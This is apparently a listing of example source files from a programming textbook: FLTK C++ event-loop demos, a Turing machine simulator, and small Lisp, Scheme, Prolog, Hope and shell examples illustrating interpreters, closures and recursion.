App *a = static_cast<App*>(data);
char buffer[256];
ssize_t n = read(fd, buffer, sizeof(buffer) - 1);
if (n > 0) {
buffer[n] = '\0';
a->input->copy_label(buffer);
} else if (n == 0) {
// EOF: standard input has been closed.
Fl::remove_fd(fd);
a->input->copy_label("Input closed");
}
}
// Called after one second.
static void timer_cb(void *data)
{
App *a = static_cast<App*>(data);
++a->seconds;
char text[80];
std::snprintf(text, sizeof(text),
"Elapsed: %d seconds", a->seconds);
a->timer->copy_label(text);
// Schedule the next invocation.
Fl::repeat_timeout(1.0, timer_cb, data);
}
// Called when the user closes the window.
static void close_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
Fl::remove_fd(STDIN_FILENO);
Fl::remove_timeout(timer_cb, data);
a->window->hide();
}
int main()
{
Fl_Window window(450, 200, "FLTK event loop");
Fl_Box timer(20, 20, 410, 50, "Elapsed: 0 seconds");
timer.box(FL_DOWN_BOX);
Fl_Box input(20, 80, 410, 50, "Type something in the terminal");
input.box(FL_DOWN_BOX);
Fl_Button quit(175, 145, 100, 35, "Quit");
window.end();
App app = { &window, &timer, &input, 0 };
window.callback(close_cb, &app);
quit.callback(close_cb, &app);
// Watch standard input (file descriptor 0).
Fl::add_fd(STDIN_FILENO, FL_READ, input_cb, &app);
// Schedule the first timer invocation.
Fl::add_timeout(1.0, timer_cb, &app);
window.show();
return Fl::run();
}
fltk_fd2.cppC++ / 93 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Output.H>
#include <FL/Fl_Button.H>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
struct State {
Fl_Box *counter;
Fl_Output *input;
unsigned int ticks;
bool running;
bool input_open;
};
void on_timeout(void *data)
{
State *state = static_cast<State*>(data);
char text[64];
snprintf(text, sizeof(text), "Timer ticks: %u", ++state->ticks);
state->counter->copy_label(text);
// A timeout fires once. Schedule the next tick from this callback.
Fl::repeat_timeout(1.0, on_timeout, state);
}
void on_input(int fd, void *data)
{
State *state = static_cast<State*>(data);
char text[256];
// Read only available bytes; getline() could wait for a whole line.
int count = read(fd, text, sizeof(text) - 1);
if (count > 0) {
while (count > 0 && (text[count - 1] == '\n' || text[count - 1] == '\r'))
--count;
text[count] = '\0';
state->input->value(text);
} else if (count == 0 ||
(errno != EINTR && errno != EAGAIN && errno != EWOULDBLOCK)) {
// EOF stays readable: remove the handler to avoid a busy loop.
state->input->value(count == 0 ? "End of input" : strerror(errno));
Fl::remove_fd(fd);
state->input_open = false;
}
}
void on_pause(Fl_Widget *button, void *data)
{
State *state = static_cast<State*>(data);
if (state->running) {
Fl::remove_fd(STDIN_FILENO);
Fl::remove_timeout(on_timeout, state);
button->label("Resume");
} else {
if (state->input_open)
Fl::add_fd(STDIN_FILENO, FL_READ, on_input, state);
Fl::add_timeout(1.0, on_timeout, state);
button->label("Pause");
}
state->running = !state->running;
}
int main()
{
Fl_Window window(480, 210, "FLTK: file descriptor and timer");
Fl_Box instructions(20, 15, 440, 30,
"Type in the launching terminal, then press Enter.");
instructions.labelsize(14);
Fl_Box counter(20, 60, 440, 30, "Timer ticks: 0");
counter.labelsize(18);
Fl_Output input(80, 105, 380, 30, "Input:");
Fl_Button pause(180, 160, 120, 30, "Pause");
window.end();
State state = { &counter, &input, 0, true, true };
pause.callback(on_pause, &state);
// FLTK watches stdin and calls on_input when it is readable.
Fl::add_fd(STDIN_FILENO, FL_READ, on_input, &state);
// Start the first tick; on_timeout schedules subsequent ticks.
Fl::add_timeout(1.0, on_timeout, &state);
window.show();
int result = Fl::run(); // FLTK owns the main loop; no polling or threads.
Fl::remove_fd(STDIN_FILENO);
Fl::remove_timeout(on_timeout, &state);
return result;
}
fltk_fd3-own-loop.cppC++ / 63 lines
#include <cstdio>
#include <cerrno>
#include <sys/select.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/x.H>
// Called once per second.
void tick(void *data)
{
Fl_Box *box = static_cast<Fl_Box*>(data);
static int seconds = 0;
char text[64];
std::sprintf(text, "Seconds: %d", ++seconds);
box->copy_label(text);
Fl::repeat_timeout(1.0, tick, data);
}
int main()
{
// 1. Open the X11 connection ourselves.
Display *display = XOpenDisplay(0);
if (!display) {
std::fprintf(stderr, "Cannot open X display\n");
return 1;
}
// 2. Obtain the X server's socket descriptor.
int fd = ConnectionNumber(display);
// 3. Give the existing connection to FLTK.
fl_open_display(display);
Fl_Window window(300, 150, "My event loop");
Fl_Box box(20, 40, 260, 60, "Seconds: 0");
window.end();
window.show();
Fl::add_timeout(1.0, tick, &box);
// 4. Our own main event loop.
while (window.shown()) {
fd_set fds;
FD_ZERO(&fds);
FD_SET(fd, &fds);
timeval timeout = { 0, 50000 }; // 50 ms
int result = select(fd + 1, &fds, 0, 0, &timeout);
if (result < 0 && errno != EINTR)
break;
// 5. Let FLTK handle pending events and timers.
Fl::wait(0.0);
}
Fl::remove_timeout(tick, &box);
return 0;
}
fltk_fd4-won-loop.cppC++ / 119 lines
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/select.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/x.H>
struct App {
Fl_Window *window;
Fl_Box *message;
Fl_Box *timer;
int seconds;
bool input_open;
};
static int connect_x11()
{
Display *display = XOpenDisplay(0);
if (!display)
return -1;
int fd = ConnectionNumber(display);
fl_open_display(display);
return fd;
}
static void timer_cb(void *data)
{
App *a = static_cast<App*>(data);
char text[64];
sprintf(text, "Elapsed: %d seconds", ++a->seconds);
a->timer->copy_label(text);
Fl::repeat_timeout(1.0, timer_cb, data);
}
static void read_terminal(App *a)
{
char text[256];
int n = read(STDIN_FILENO, text, sizeof(text) - 1);
if (n == 0) {
a->input_open = false;
a->message->copy_label("Input closed");
return;
}
if (n < 0)
return;
text[n] = '\0';
if (text[n - 1] == '\n')
text[n - 1] = '\0';
if (strcmp(text, "quit") == 0)
a->window->hide();
else
a->message->copy_label(text);
}
static void event_loop(App *a, int xfd)
{
Fl::add_timeout(1.0, timer_cb, a);
while (a->window->shown()) {
fd_set fds;
FD_ZERO(&fds);
FD_SET(xfd, &fds);
if (a->input_open)
FD_SET(STDIN_FILENO, &fds);
timeval timeout = { 0, 50000 };
int maxfd = xfd > STDIN_FILENO ? xfd : STDIN_FILENO;
int result = select(maxfd + 1, &fds, 0, 0, &timeout);
if (result < 0) {
if (errno == EINTR)
continue;
perror("select");
break;
}
if (result > 0 && a->input_open && FD_ISSET(STDIN_FILENO, &fds))
read_terminal(a);
Fl::wait(0.0);
}
Fl::remove_timeout(timer_cb, a);
}
int main()
{
int xfd = connect_x11();
if (xfd < 0) {
fprintf(stderr, "Cannot connect to X11\n");
return 1;
}
Fl_Window window(400, 180, "Terminal input");
Fl_Box message(20, 20, 360, 60, "Type in the terminal");
Fl_Box timer(20, 100, 360, 50, "Elapsed: 0 seconds");
window.end();
App app = { &window, &message, &timer, 0, true };
window.show();
event_loop(&app, xfd);
return 0;
}
12 (10)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
player.cppC++ / 59 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Box.H>
class Player {
Fl_Box *status;
public:
Player(Fl_Box *a_status) : status(a_status) {}
void play() { status->label("Playing"); }
void pause() { status->label("Paused"); }
void stop() { status->label("Stopped"); }
};
// Pointer to any Player method returning void
// and taking no arguments.
typedef void (Player::*Action)();
struct Command {
Player *player;
Action action;
};
// One callback handles all three buttons.
void button_cb(Fl_Widget *, void *data)
{
Command *cmd = static_cast<Command*>(data);
(cmd->player->*(cmd->action))();
}
int main()
{
Fl_Window window(340, 140, "Music Player");
Fl_Box status(20, 15, 300, 40, "Stopped");
Fl_Button play(20, 80, 90, 35, "Play");
Fl_Button pause(125, 80, 90, 35, "Pause");
Fl_Button stop(230, 80, 90, 35, "Stop");
window.end();
Player player(&status);
Command commands[] = {
{ &player, &Player::play },
{ &player, &Player::pause },
{ &player, &Player::stop }
};
play.callback(button_cb, &commands[0]);
pause.callback(button_cb, &commands[1]);
stop.callback(button_cb, &commands[2]);
window.show();
return Fl::run();
}
11. Functional and Logic Programming / 50 filesRead chapter
01 (11-01)
MakefileMake / 18 lines
MODULES = tape program
SRCMODULES = $(MODULES:=.cpp)
HEADERS = $(MODULES:=.hpp)
OBJMODULES = $(SRCMODULES:.cpp=.o)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
all: turing
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
turing: turing.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) -o $@
clean:
rm -f *.o turing
program.cppC++ / 31 lines
#include "program.hpp"
Program::~Program()
{
while (first) {
Item *next = first->next;
delete first;
first = next;
}
}
void Program::Add(const rule &r)
{
Item *p = new Item(r);
if (last)
last->next = p;
else
first = p;
last = p;
}
const rule *Program::Find(int state, char symbol) const
{
for (const Item *p = first; p; p = p->next)
if (p->data.state == state && p->data.read == symbol)
return &p->data;
return 0;
}
program.hppC++ / 37 lines
#ifndef PROGRAM_H
#define PROGRAM_H
struct rule {
int state;
char read;
char write;
char move;
int next;
};
class Program {
class Item {
public:
rule data;
Item *next;
Item(const rule &r) : data(r), next(0) {}
};
Item *first;
Item *last;
// copying is forbidden
Program(const Program &);
void operator=(const Program &);
public:
Program() : first(0), last(0) {}
~Program();
bool Empty() const { return !first; }
void Add(const rule &r);
const rule *Find(int state, char symbol) const;
};
#endif
tape.cppC++ / 84 lines
#include <stdio.h>
#include "tape.hpp"
void Tape::Append(char symbol)
{
Cell *p = new Cell(symbol);
if (last) {
last->right = p;
p->left = last;
} else {
first = p;
}
last = p;
}
void Tape::Prepend(char symbol)
{
Cell *p = new Cell(symbol);
if (first) {
first->left = p;
p->right = first;
} else {
last = p;
}
first = p;
}
Tape::Tape(const char *input)
: first(0), last(0), head(0)
{
for (const char *p = input; *p; ++p)
Append(*p);
if (!first)
Append(blank);
head = first;
}
Tape::~Tape()
{
while (first) {
Cell *next = first->right;
delete first;
first = next;
}
}
void Tape::Move(char direction)
{
if (direction == 'R') {
if (!head->right)
Append(blank);
head = head->right;
} else if (direction == 'L') {
if (!head->left)
Prepend(blank);
head = head->left;
}
}
void Tape::Print() const
{
Cell *begin = first, *end = last;
while (begin && begin->symbol == blank)
begin = begin->right;
while (end && end->symbol == blank)
end = end->left;
if (!begin) {
puts("(blank tape)");
return;
}
for (Cell *p = begin; p != end->right; p = p->right)
putchar(p->symbol);
putchar('\n');
}
tape.hppC++ / 38 lines
#ifndef TAPE_H
#define TAPE_H
class Tape {
class Cell {
public:
char symbol;
Cell *left;
Cell *right;
Cell(char c) : symbol(c), left(0), right(0) {}
};
Cell *first;
Cell *last;
Cell *head;
void Append(char symbol);
void Prepend(char symbol);
// copying is forbidden
Tape(const Tape &);
void operator=(const Tape &);
public:
enum { blank = '_' };
Tape(const char *input);
~Tape();
char Read() const { return head->symbol; }
void Write(char c) { head->symbol = c; }
void Move(char direction);
void Print() const;
};
#endif
turing.cppC++ / 111 lines
#include <stdio.h>
#include "tape.hpp"
#include "program.hpp"
enum {
start_state = 0,
halt_state = -1,
rule_fields = 5
};
enum read_status {
read_ok,
read_end,
read_error
};
static read_status read_rule(FILE *file, rule &r)
{
int fields = fscanf(file, " %d %c %c %c %d",
&r.state, &r.read, &r.write, &r.move, &r.next);
switch (fields) {
case rule_fields:
return read_ok;
case EOF:
return read_end;
default:
return read_error;
}
}
static bool valid_move(char move)
{
return move == 'L' || move == 'R' || move == 'S';
}
static bool read_program(FILE *file, Program &program)
{
rule r;
read_status status;
while ((status = read_rule(file, r)) == read_ok) {
if (!valid_move(r.move)) {
fprintf(stderr, "Invalid movement: %c\n", r.move);
return false;
}
program.Add(r);
}
if (status == read_error || program.Empty()) {
fprintf(stderr, "Invalid or empty rule file\n");
return false;
}
return true;
}
static bool load_program(const char *filename, Program &program)
{
FILE *file = fopen(filename, "r");
if (!file) {
perror(filename);
return false;
}
bool ok = read_program(file, program);
fclose(file);
return ok;
}
static bool run(const Program &program, Tape &tape)
{
int state = start_state;
while (state != halt_state) {
const rule *r = program.Find(state, tape.Read());
if (!r) {
fprintf(stderr, "No rule for state %d, symbol '%c'\n",
state, tape.Read());
return false;
}
tape.Write(r->write);
tape.Move(r->move);
state = r->next;
}
return true;
}
int main(int argc, char **argv)
{
if (argc != 3) {
fprintf(stderr, "Usage: %s rules.txt input\n", argv[0]);
return 1;
}
Program program;
bool ok = load_program(argv[1], program);
if (!ok)
return 1;
Tape tape(argv[2]);
ok = run(program, tape);
if (!ok)
return 1;
tape.Print();
return 0;
}
Book example: sbcl_hello_comp.lsp
sbcl_hello_comp.lspLisp / 11 lines
(defun main ()
(princ "Hello, world!")
(terpri)
)
(sb-ext:save-lisp-and-die "sbcl_hello"
:executable t
:toplevel 'main
:compression t
:purify t
)
02 (11-01)
args_ecl.lspLisp / 6 lines
#!/usr/bin/ecl -shell
(mapcar
#'(lambda (arg) (princ arg) (princ " "))
(cdddr (ext:command-args))
)
(terpri)
args_gcl.lspLisp / 6 lines
#!/usr/bin/gcl -f
(mapcar
#'(lambda (arg) (princ arg) (princ " "))
(cdr si::*command-args*)
)
(terpri)
args_sbcl.lspLisp / 6 lines
#!/usr/bin/sbcl --script
(mapcar
#'(lambda (arg) (princ arg) (princ " "))
(cdr *posix-argv*)
)
(terpri)
hello_c.cC / 7 lines
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
hello_sbcl.lspLisp / 9 lines
(defun main ()
(princ "Hello, world!")
(terpri)
)
(sb-ext:save-lisp-and-die "hello_sbcl"
:executable t
:compression t
:toplevel 'main
)
nest0.shShell / 30 lines
#!/bin/sh
# nest.sh: scripts whose interpreter is another script, deeper and deeper
# s0 is run by /bin/sh, s1 by s0, s2 by s1, and so on
# usage: sh nest.sh
dir=$(mktemp -d)
cat > "$dir/s0" <<'EOF'
#!/bin/sh
line="/bin/sh ${0##*/}"
for a in "$@"; do
line="$line ${a##*/}"
done
echo "works: $line"
EOF
chmod +x "$dir/s0"
i=1
while [ $i -le 7 ]; do
printf '#!%s/s%d\n' "$dir" $((i - 1)) > "$dir/s$i"
chmod +x "$dir/s$i"
i=$((i + 1))
done
i=0
while [ $i -le 7 ]; do
printf 's%d: ' $i
"$dir/s$i" 2>&1 | sed "s|$dir/||g"
i=$((i + 1))
done
rm -r "$dir"
nest1.shShell / 22 lines
#!/bin/sh
# Create a directory containing nested #! interpreter scripts.
dir=$(mktemp -d) || exit 1
for i in 1 2 3 4 5 6 7 8 9; do
next=$((i + 1))
printf '#!%s/s%s\n' "$dir" "$next" > "$dir/s$i"
done
printf '#!/bin/sh\necho "Reached the end"\n' > "$dir/s10"
chmod +x "$dir"/s*
printf 'Scripts created in: %s\n' "$dir"
printf '\nRunning s1 (too many nested interpreters):\n'
"$dir/s1"
printf '\nRunning s7 (shorter chain):\n'
"$dir/s7"
printf '\nInspect them with: ls -l %s\n' "$dir"
nest2.shShell / 17 lines
#!/bin/sh
# nest.sh: s1 has s0 as its interpreter, s2 has s1, and so on
# usage: sh nest.sh
dir=$(mktemp -d)
cd "$dir" || exit 1
printf '#!/bin/sh\necho "works: $0 $*"\n' > s0
chmod +x s0
i=1
while [ $i -le 7 ]; do
echo "#!./s$((i - 1))" > s$i
chmod +x s$i
printf 's%d: ' $i
./s$i
i=$((i + 1))
done
rm -r "$dir"
nest3.shShell / 17 lines
#!/bin/sh
# nest.sh: s1 has s0 as its interpreter, s2 has s1, and so on;
# s0 has /bin/echo, which prints the command line it receives
# usage: sh nest.sh
dir=$(mktemp -d)
cd "$dir" || exit 1
echo '#!/bin/echo' > s0
chmod +x s0
i=1
while [ $i -le 7 ]; do
echo "#!./s$((i - 1))" > s$i
chmod +x s$i
printf 's%d: ' $i
./s$i
i=$((i + 1))
done
rm -r "$dir"
03 (11-01)
sexptr.lspLisp / 26 lines
; sexpr.lsp: data and programs are both S-expressions
; sbcl --script sexpr.lsp
; 1. a heterogeneous list: a number, a string, a symbol, a list, a float
(defvar mix (list 1 "two" 'three (list 4 5) 6.5))
(format t "mix = ~s~%" mix)
(format t "types = ~s~%" (mapcar #'type-of mix))
(format t "4th elem. = ~s, its length ~a~%" (fourth mix) (length (fourth mix)))
; 2. a piece of program, quoted, is just a list
(defvar expr '(+ 1 2))
(format t "~%expr = ~s~%" expr)
(format t "first = ~s (a ~a)~%" (first expr) (type-of (first expr)))
(format t "rest = ~s~%" (rest expr))
(format t "evaluated = ~s~%" (eval expr))
; 3. a function definition is a list too
(defvar def '(defun cube (x) (* x x x)))
(format t "~%def = ~s~%" def)
(format t "length = ~a, first = ~s~%" (length def) (first def))
(eval def) ; run the list as a program
(format t "(cube 3) = ~a~%" (cube 3))
; 4. build a program out of data, then run it
(defvar built (list '* 6 7))
(format t "~%built = ~s -> ~a~%" built (eval built))
shared.lspLisp / 12 lines
#!/usr/bin/sbcl --script
(defvar p (cons 1 2)) ; the pair (1 . 2)
(defvar foo (cons "Foo" p)) ; ("Foo" . (1 . 2))
(defvar bar (cons "Bar" p)) ; ("Bar" . (1 . 2))
(format t "foo = ~s~%bar = ~s~%" foo bar)
(format t "the same pair: ~a~%" (eq (cdr foo) (cdr bar)))
(setf (car (cdr foo)) 100) ; change it through foo only
(format t "after the change through foo:~%")
(format t "foo = ~s~%bar = ~s~%" foo bar)
04 (11-01)
cond.lspLisp / 14 lines
(defun f (x)
(+ x 1)
)
(defun g (x)
(- x 1)
)
(defun h (x)
(cond
((> x 0) (f x))
(t (g (- x)))
)
)
05 (11-01)
funcs.lspLisp / 43 lines
(defun sqe-discrim (a b c)
(- (* b b) (* 4 a c))
)
(defun length1 (lst)
(cond
((atom lst) 0)
(t (+ 1 (length1 (cdr lst))))
)
)
(defun length2 (lst)
(cond
((null lst) 0)
((atom lst) nil)
((atom (cdr lst)) 1)
(t (+ 1 (length2 (cdr lst))))
)
)
(defun length3_do (lst len)
(cond
((atom (cdr lst)) len)
(t (length3_do (cdr lst) (+ 1 len)))
)
)
(defun length3 (lst)
(cond
((null lst) 0)
((atom lst) nil)
(t (length3_do lst 1))
)
)
(defun reverse1_do (lst res)
(cond
((null lst) res)
(t (reverse1_do (cdr lst) (cons (car lst) res)))
)
)
(defun reverse1 (lst) (reverse1_do lst ()))
06 (11-01)
copy.lspLisp / 6 lines
(defun copylist (lst)
(cond
((atom lst) lst)
(t (cons (car lst) (copylist (cdr lst))))
)
)
08 (11-01)
lambda.lspLisp / 7 lines
(defun add-to-list (num lst)
(mapcar #'(lambda (x) (+ x num)) lst)
)
(defun make-adder (n)
#'(lambda (x) (+ n x))
)
09 (11-01)
downward_funard.lspLisp / 9 lines
(defvar thevar)
(defun f2 (func thevar)
(funcall func thevar)
)
(defun sample (thevar)
(f2 #'(lambda (x) (+ x thevar)) 1000)
)
let.lspLisp / 9 lines
(setq thelist '(1 2 3 4 5))
(let ((s 0) (p 1))
(mapcar
#'(lambda (x) (setq s (+ s x)) (setq p (* p x)))
thelist
)
(cons s p)
)
let2.lspLisp / 11 lines
(setq thelist '(1 2 3 4 5))
(let (s p)
(setq s 0)
(setq p 1)
(mapcar
#'(lambda (x) (setq s (+ s x)) (setq p (* p x)))
thelist
)
(cons s p)
)
let3.lspLisp / 4 lines
(let ((counter 0))
(defun seq-next () (setq counter (+ 1 counter)))
(defun seq-reset () (setq counter 0))
)
lexical.lspLisp / 9 lines
(shadow 'var)
(defun var-values (var)
(cons var (symbol-value 'var)))
(setq var "global")
(var-values "local")
;; => ("local" . "global")
test.elLisp / 21 lines
;; -*- lexical-binding: t; -*-
(defun make-adder (thevar)
#'(lambda (x) (+ thevar x))
)
(setq thevar 100)
(setq plus5 (make-adder 5))
(funcall plus5 10)
upward_funarg.lspLisp / 10 lines
(defvar thevar)
(defun make-adder (thevar)
#'(lambda (x) (+ thevar x))
)
;; (setq thevar 100)
(setq plus5 (make-adder 5))
10 (11-01)
adder.cC / 17 lines
#include <stdio.h>
typedef int (*funcptr)(int);
funcptr make_adder(int a)
{
int adder(int t) { return t+a; }
return &adder;
}
int main()
{
funcptr a3 = make_adder(3);
funcptr a7 = make_adder(7);
printf("%d %d\n", (*a3)(10), (*a7)(10));
return 0;
}
adder2.cC / 25 lines
#include <stdio.h>
typedef int (*funcptr)(int);
funcptr make_adder(int a)
{
int adder(int t) { return t+a; }
return &adder;
}
void eraser(funcptr ff)
{
char c[50];
int i;
for(i = 0; i < sizeof(c); i++)
c[i] = i;
printf("%d\n", (*ff)(10));
}
int main()
{
funcptr a3 = make_adder(3);
eraser(a3);
return 0;
}
extension.cC / 28 lines
#include <stdio.h>
void sumprod(int *vec, int n, int *sum, int *prod)
{
int accum;
int plus(int a) { return accum + a; }
int times(int a) { return accum * a; }
void reduce(int *vec, int len, int (*op)(int))
{
if(!len)
return;
accum = op(*vec);
reduce(vec+1, len-1, op);
}
accum = 0; reduce(vec, n, &plus); *sum = accum;
accum = 1; reduce(vec, n, ×); *prod = accum;
}
int main()
{
int a[] = {1, 2, 3, 4, 5};
int len = sizeof(a)/sizeof(*a);
int sum, prod;
sumprod(a, len, &sum, &prod);
printf("%d %d\n", sum, prod);
return 0;
}
Book example: reduce.lsp
reduce.lspLisp / 46 lines
(defun lreduce (fun lst init)
(cond
((null lst) init)
(t
(let ((next (funcall fun init (car lst))))
(lreduce fun (cdr lst) next)
)
)
)
)
(defun rreduce (fun lst init)
(cond
((null lst) init)
(t (funcall fun (car lst) (rreduce fun (cdr lst) init)))
)
)
(defun max_in_list (lst)
(lreduce #'(lambda (x y) (if (< x y) y x)) (cdr lst) (car lst))
)
(defun ins2list (i list)
(cond
((null list) (cons i ()))
((< i (car list)) (cons i list))
(t (cons (car list) (ins2list i (cdr list))))
)
)
(defun redsort (lst) (rreduce #'ins2list lst ()))
(defun redsort2 (lst)
(lreduce #'(lambda (ls el) (ins2list el ls)) lst ())
)
(defun redmap (fun lst)
(rreduce #'(lambda (x res) (cons (funcall fun x) res)) lst ())
)
(defun select (lst pred)
(rreduce
#'(lambda (x ls) (if (funcall pred x) (cons x ls) ls))
lst ()
)
)
Book example: strlens_file.lsp
strlens_file.lspLisp / 97 lines
#!/usr/bin/sbcl --script
(defun do_it (file len)
(let ((c (read-char file nil nil)))
(cond
((eq c nil) t)
((eq c #\Newline) (prin1 len) (terpri) (do_it file 0))
(t (do_it file (+ 1 len)))
)
)
)
; (defun process_file (fname)
; (princ fname)
; (terpri)
; (with-open-stream
; (f (open fname :direction :input :if-does-not-exist nil))
; (if (null f)
; (progn
; (princ "Couldn't open the file" *error-output*)
; (terpri *error-output*)
; nil
; )
; (do_it f 0)
; )
; )
; )
(defun process_file (fname)
(with-open-file (f fname :direction :input :if-does-not-exist nil)
(if (null f)
(progn
(princ "Couldn't open the file" *error-output*)
(terpri *error-output*)
nil
)
(do_it f 0)
)
)
)
(defun process_stdin ()
(do_it *standard-input* 0)
)
; (let
; ((lst
; (multiple-value-list (ignore-errors
; (if (cdr *posix-argv*)
; (process_file (second *posix-argv*))
; (process_stdin)
; )
; t
; ))
; )) ;;
; (if (not (car lst))
; (progn
; (princ "Something went wrong" *error-output*)
; (terpri *error-output*)
; (princ (second lst) *error-output*)
; (terpri *error-output*)
; (prin1 (second lst) *error-output*)
; ;(inspect (second lst))
; ;(terpri *error-output*)
; (princ
; (third (slot-value (second lst) 'sb-kernel::format-arguments))
; *error-output*
; )
; (terpri *error-output*)
; (princ "The exception type is: " *error-output*)
; (princ (type-of (second lst)) *error-output*)
; (terpri *error-output*)
; (princ
; (if (typep (second lst) 'file-error)
; "Yes, it is file error!"
; "No, it is not a file error. Strange."
; )
; *error-output*
; )
; (terpri *error-output*)
; nil
; )
; )
; )
(handler-case
(if (cdr *posix-argv*)
(process_file (second *posix-argv*))
(process_stdin)
)
;;
(file-error (er)
(princ er *error-output*)
(terpri *error-output*)
)
(sb-sys:interactive-interrupt () nil)
)
Book example: textbychar.lsp
textbychar.lspLisp / 13 lines
#!/usr/bin/sbcl --script
(defun main (len)
(let ((c (read-char t nil nil)))
(cond
((eq c nil) t)
((eq c #\Newline) (prin1 len) (terpri) (main 0))
(t (main (+ 1 len)))
)
)
)
(main 0)
Book example: hello.scm
Book example: quad_eq.scm
quad_eq.scmScheme / 13 lines
(define (quad-eq a b c throw)
(if (= a 0) (throw 'NotAQuadraticEq))
(let ((discrim (- (* b b) (* 4 a c))))
(if (< discrim 0) (throw 'NoRealRoots))
(let
(
(mb2a (/ (- b) (* 2 a)))
(dq2a (/ (sqrt discrim) (* 2 a)))
)
(list (- mb2a dq2a) (+ mb2a dq2a))
)
)
)
Book example: strlens_file.scm
strlens_file.scmScheme / 36 lines
#!/usr/bin/csi -s
; uncomment for Chicken 5.* (and later?)
; (import (chicken process-context))
; (import (chicken condition))
(define (do_it port len)
(let ((c (read-char port)))
(cond
((eof-object? c) #t)
((eqv? c #\newline) (display len) (newline) (do_it port 0))
(else (do_it port (+ 1 len)))
)
)
)
(with-exception-handler
(lambda (ex)
(write (condition->list ex) (current-error-port))
(newline (current-error-port))
(display "something wrong (failed to open the file?)\n"
(current-error-port))
(exit 1) ; without this, endless loop occurs
)
(lambda ()
(let ((args (command-line-arguments)))
(if (null? args)
(do_it (current-input-port) 0)
(let ((port (open-input-file (car args))))
(do_it port 0)
(close-input-port port)
)
)
)
)
)
Book example: small_ex.pl
small_ex.plProlog / 87 lines
:- set_prolog_flag(double_quotes, string).
:- dynamic parent/2.
parent("Lucas", "Mary").
parent("Lucas", "Jason").
parent("Lucas", "Peter").
parent("Mary", "Fred").
parent("Mary", "Jane").
parent("Jason", "Sean").
parent("Jason", "Jessica").
parent("Jason", "Hannah").
parent("Jessica", "Joseph").
parent("Jessica", "John").
parent("Jessica", "Laura").
ancestor(X, Y) :- parent(X, Y).
ancestor(X, Y) :- parent(X, Z), ancestor(Z, Y).
sibling(A, B) :- parent(X, A), parent(X, B), A \= B.
plays("John", football).
plays("George", football).
plays("Sam", football).
plays("George", chess).
plays("Mary", chess).
plays("Sam", baseball).
learns("John", chemistry).
learns("John", biology).
learns("Sam", math).
learns("Sam", biology).
learns("George", history).
learns("Ann", law).
interesting(Pers) :- learns(Pers, _), plays(Pers, _).
student_plays(Pers, Game) :-
learns(Pers, _), plays(Pers, Game).
del_any(_, [], []).
del_any(Elem, [Elem|Tail], Res) :- del_any(Elem, Tail, Res).
del_any(Elem, [X|Tail], [X|NewT]) :- del_any(Elem, Tail, NewT).
del_any_inv(_, [], []).
del_any_inv(Elem, [X|Tail], [X|NewT]) :- del_any_inv(Elem, Tail, NewT).
del_any_inv(Elem, [Elem|Tail], Res) :- del_any_inv(Elem, Tail, Res).
del_all(_, [], []).
del_all(Elem, [Elem|Tail], Res) :-
del_all(Elem, Tail, Res).
del_all(Elem, [X|Tail], [X|NewT]) :-
not(X = Elem),
del_all(Elem, Tail, NewT).
del_all_cut(_, [], []) :- !.
del_all_cut(Elem, [Elem|Tail], Res) :- !, del_all_cut(Elem, Tail, Res).
del_all_cut(Elem, [X|Tail], [X|NewT]) :- del_all_cut(Elem, Tail, NewT).
del_all_ifthen(_, [], []).
del_all_ifthen(Elem, [X|Tail], Res) :-
Elem = X ->
del_all_ifthen(Elem, Tail, Res) ;
del_all_ifthen(Elem, Tail, NewT) , Res = [X|NewT].
listlen([], 0).
listlen([_|T], L) :- listlen(T, TL), L is TL + 1.
prefix([], _, 0).
prefix([H|T2], [H|T], N) :- N2 is N - 1, prefix(T2, T, N2).
prefix2([], _, 0).
prefix2([H|T2], [H|T], N) :- nonvar(N), N2 is N - 1, prefix2(T2, T, N2).
prefix2([H|T2], [H|T], N) :- var(N), prefix2(T2, T, N2), N is N2 + 1.
join([], L, L).
join([H|T], L, [H|M]) :- join(T, L, M).
listrev(L, R) :- listrev(L, R, []).
listrev([], A, A).
listrev([H|T], R, A) :- listrev(T, R, [H|A]).
Book example: strlens_file.pl
strlens_file.plProlog / 35 lines
#!/usr/bin/swipl -q
:- initialization(main).
handle(_, -1, _) :- !.
handle(Stream, 10, N) :- !, write(N), nl, reading(Stream, 0).
handle(Stream, _, N) :- N1 is N+1, reading(Stream, N1).
reading(Stream, N) :- get0(Stream, C), !, handle(Stream, C, N).
err(error(E, C)) :- !,
E =.. [ErrorReason|_], C =.. [_, _, Message],
write(user_error, ErrorReason),
write(user_error, ' ('),
write(user_error, Message),
write(user_error, ')\n'),
halt.
err(Ex) :-
write(user_error, 'Exception unknown: '),
write(user_error, Ex),
nl(user_error),
halt.
process_file_on(Fname) :-
open(Fname, read, Stream, [encoding(octet)]),
reading(Stream, 0).
process_file(Fname) :- catch(process_file_on(Fname), Ex, err(Ex)).
main :-
on_signal(int, _, default),
prompt(_, ''),
current_prolog_flag(argv, Argv),
(Argv = [Fname|_], process_file(Fname) ; reading(user_input, 0)),
halt.
Book example: small_ex.hop
small_ex.hopHope / 48 lines
dec Nth : list(alpha) # num -> alpha;
--- Nth(x::ls, n) <= if n = 1 then x else Nth(ls, n-1);
dec FirstN : list(alpha) # num -> list(alpha);
--- FirstN(x::y, n) <= if n = 0 then nil else x::FirstN(y, n-1);
